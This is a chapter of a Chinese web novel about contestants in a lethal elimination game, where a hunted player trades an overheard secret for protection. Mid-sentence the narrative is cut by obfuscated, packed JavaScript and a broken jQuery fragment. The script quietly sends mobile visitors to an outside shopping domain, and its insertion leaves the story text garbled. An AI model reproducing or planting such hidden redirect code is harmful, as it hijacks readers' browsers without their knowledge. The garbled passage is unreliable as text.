时间到了晚上九点。
他们还是没有找到R23。
不过倒是有其他的选手主动过来找F32他们。
“这个就是剩下的三个人的长相,您看看够不够换消息啊?”一名留着八字胡的男人堆笑着将手上的纸递给F32。
接过那张纸,上面的人五官画的很是抽象。
“画得跟狗屎一样,怎么认得出来?”F32嫌弃地看着上面的画面。
“哎呀,您认不出来没关系啊,我都认识,要不我跟在您身边帮你看吧!保证一看一个准!”
“帮我认人还不如帮我找出他们的位置呢!现在他们全都躲起来了,去哪找?”
“这个嘛,这个这个......”
F32不耐烦地挥手,说:“算了,你先去外面的房间等着。”
“好好好,非常感谢!”
男人喜不自胜地关上了门。
W7不解地开口:“这些货色为什么还要留着?”
“当然是下一局还有用了。你不知道吗?算了,你肯定又没看。”
F32给自己倒了一杯酒,继续说:“下一局游戏只有20人参加,全都是现在这一局胜利的选手,不会有新加入的。而且下一局是团队赛,不论队伍有多少人,只要队伍胜出了里面的成员就都能进入晋级赛。举个例子,如果获胜的队伍只有两个人,那下一局就只要两个人胜出。如果获胜队伍里面有十五个选手,那就是这十五个胜出。不管怎么样,人越多获胜几率肯定越大。”
“所以这就是你不拒绝任何人加入的原因?”
“当然。我本来的操作就是想将有能力的选手剔除,下一局留下的都是一些小虾米,这样就能顺利进入晋级赛。到了晋级赛,我们就能和其他‘曙光’选手取得联系。找几个队友,之后的游戏就和过家家一样。现在胜利位里面混入了几个等级高的选手,下一局有可能会是对立阵营,所以现在就要多捞点人。唉,我的这么多良苦用心,你竟然都看不懂。”
“貌似只有参加最后一局的的赢家才能被称做‘曙光’吧?研究所派出的候选人不只你我,你这个设想也过于美好了。”W7毫不留情地泼冷水。
“那又怎么样?难道你觉得我到不了最后一关?就算真的到不了,我还能比不过这些NPC不成?”
“我记得之前的集训你每次都是末尾。”
哐!
酒杯砸在茶几上,发出清脆的声音。
“懒得和你讲!”
两人不欢而散。
房门被F32用脚踹开,头也不回地走了。W7坐在沙发上喝完了手中的酒,片刻,也离开了房间。
半个小时后,房门边的衣柜悄无声息地从里面打开,R23顶着一张通红的脸从衣柜中走出来。
也不知道要夸他运气好还是不好,找了一个房间躲藏,正好挑中了F32他们的宿舍。
现在胜利位还没有结算,宿舍中的所有房间都是能够自由打开的。
此时他的心情已经无法言语了,因为听到了他们的谈话,R23到现在都没平静下来。
天知道刚刚他用了多大的努力去压抑狂跳的心脏。
房间内的落地窗外一片黑暗,同样黑暗的还有R23的未来。
R23的目前的处境非常尴尬,一直躲着也不是个办法。别墅是个封闭空间,不管怎么躲,总有一天会被他们找到。
或许可以用听到的秘密去换一个生路。
外面已经没有人了。
R23原地挣扎了一番,下定决心,打开了房门。
[目前终点人数为23人,请选手自行控制,减少终点人数至20人。]
晚上十点整,手表又发来消息,45号结束了夜间训练,去宿舍单间内自带的卫生间简单洗了个澡。
一遍擦头发一遍查看短信。
看来那些着急的选手们又清理了一个,就是不知道是谁。
房门被急促敲响,45号闭上眼睛,手掌放到把手上,在他的脑海中,隐隐约约浮现出门外模糊的场景。
好像有四个人?
“45!快点开门!”99号的大嗓门在催促。
打开门,一行人鱼贯而入,都是熟人。
还有一个正在被追杀的R23 。
这是什么情况?
原来是R23悄悄找到了在健身房直播的18号,稍微透露了一些事情,激动的18号直接就拉着R23过来找人了。
所以,为什么所有人都要来自己的房间谈事情呢?45号看着坐在自己床上像是回到自己家的18号,无语两个字都要挂在脸上了。
没有废话,R23迅速复述了刚刚听到的对话,并且真挚地说:“请你们帮助我进入胜利位!我可以为你们做任何事!”
消化完新接收到的信息,几人先是沉默。
16号说:“你现在将这些都说出来,相当于亮了底牌。其实对于我们来说完全可以置之不理,然后拿着你用命换出来的消息提前准备下一局。但是你现在实在是走投无路了,所以最后想用真诚赌一把,堵我们愿意帮助你。”
“如果你不死,下一局就不会开始,你觉得我们会同意?”
“我发誓,只要让我进入下一局,我会帮助你们进入胜利位。”R23说。
“好,我们同意了,我们四个人会帮助你的。”
正在看戏的18号反应过来大叫道:“你个神经病!谁说同意了!你自己同意带上我们干嘛!”
“我是队长,你们是我队员。”
“是个屁!”
比起到底要不要帮R23,99号更好奇的是怎么帮,这个问题一出,也勾起了18号的兴趣。
16号却说:“没有么计划,只是有一个模糊的想法。具体要怎么展开,还需要看看F32那一边。”
R23今晚暂住在99号的房间里,逃亡中的紧绷感终于在此刻得到了缓解。
他躺在地上,和99号交流到晚上十二点,床上呼吸逐渐平稳,99号睡着了。
R23一直睁着眼睛到了第二天,昨天手臂上的伤口在99号的帮助下进行了简单的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14310434|149715||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
包扎,行动间持续感受到疼痛感。
他内心充满了迷茫,抛去一切,只想再能多活一天。
[目前终点人数为22人,请选手自行控制,尽快减少终点人数至20人。]
早上八点,又有一名选手被淘汰了。
这次的短信多了一丝催促。
大早上16号就消失了,只在房间里留下一张纸条,让他们在下午两点整准时把R23带到一楼楼梯口。
目前R23不方便露面,99号来餐厅拿了两份早餐带回宿舍,45号和18号结伴在餐厅吃早餐。
九点半,F32一行人进入餐厅,他们手上还有没来得及擦去的血液。
在他的身边,45号竟然看到了独自办事的16号。
他们看上去相谈甚欢。
当时的袭击F32只看到了45号和18号,并不知道面前这位“知己”是主谋。
“没想到您外表上看着孔武有力,内心却这么心思细腻,和您交谈这么一小会儿,就能让我受益良多。”
“哈哈哈哈!我一直都觉得我生而不凡,今天总算遇到一个懂我的!”F32拉着16号坐下,开始介绍身边的人。
“这几个都是我的追随者,如果以后你有需要,找他们帮忙,如果他们不答应你就过来找我。”F32指着另外三名F队员,还有新加入几个编外人员。
他们依次和16号报上了自己的编号,16号也微笑着回应着。
随后F32又指着W7说:“这个是我的盟友,W7,如果你找不到我,也可以先问问她。”
W7连一个眼神都没给16号,16号也不在意依然礼貌地报上自己的编号,F32解释道:“她不太爱和其他人打交道,你别放心上。”
看着面前染血的手,16号从口袋里抽出湿巾动作自然贴心地递给F32:“刚刚是去做任务了吧?都还没来得及清理,我这里正好有湿巾,可以擦一擦。”
18号透过人群看着16号脸上熟悉的虚伪做作,恶心得起了一身鸡皮疙瘩,他忍不住向18号吐槽:“我的天哪,这坏东西又要干什么?”
“我有一种预感,F32准备要倒霉了,而且是要倒大霉。我就没见过16号对一个人这么有兴趣。”
身边的人没有回应,18号转头发现45号表情严肃地盯着F32他们的方向。
手掌在对方面前滑动,18号说:“喂!我刚刚说的话你听见没。”
“没有。”45号说。
“靠。”18号贴近他的身边,顺着45号的视线观察。
“你在看什么呢?”
F32接过了16号手上的湿巾,将手上的血迹慢慢擦拭。
留在手上的血液很新鲜,一下就能擦去,原本洁白的湿巾渐渐被血液染成粉红色。
使用过的湿巾被F32丢进桌子上专门用来装垃圾的盆里,手掌打开的方向正好是45号他们所在的方向。
18号眯起眼睛,他看到了。
F32的手掌上,有一个由线条组成的,黑色漩涡纹身。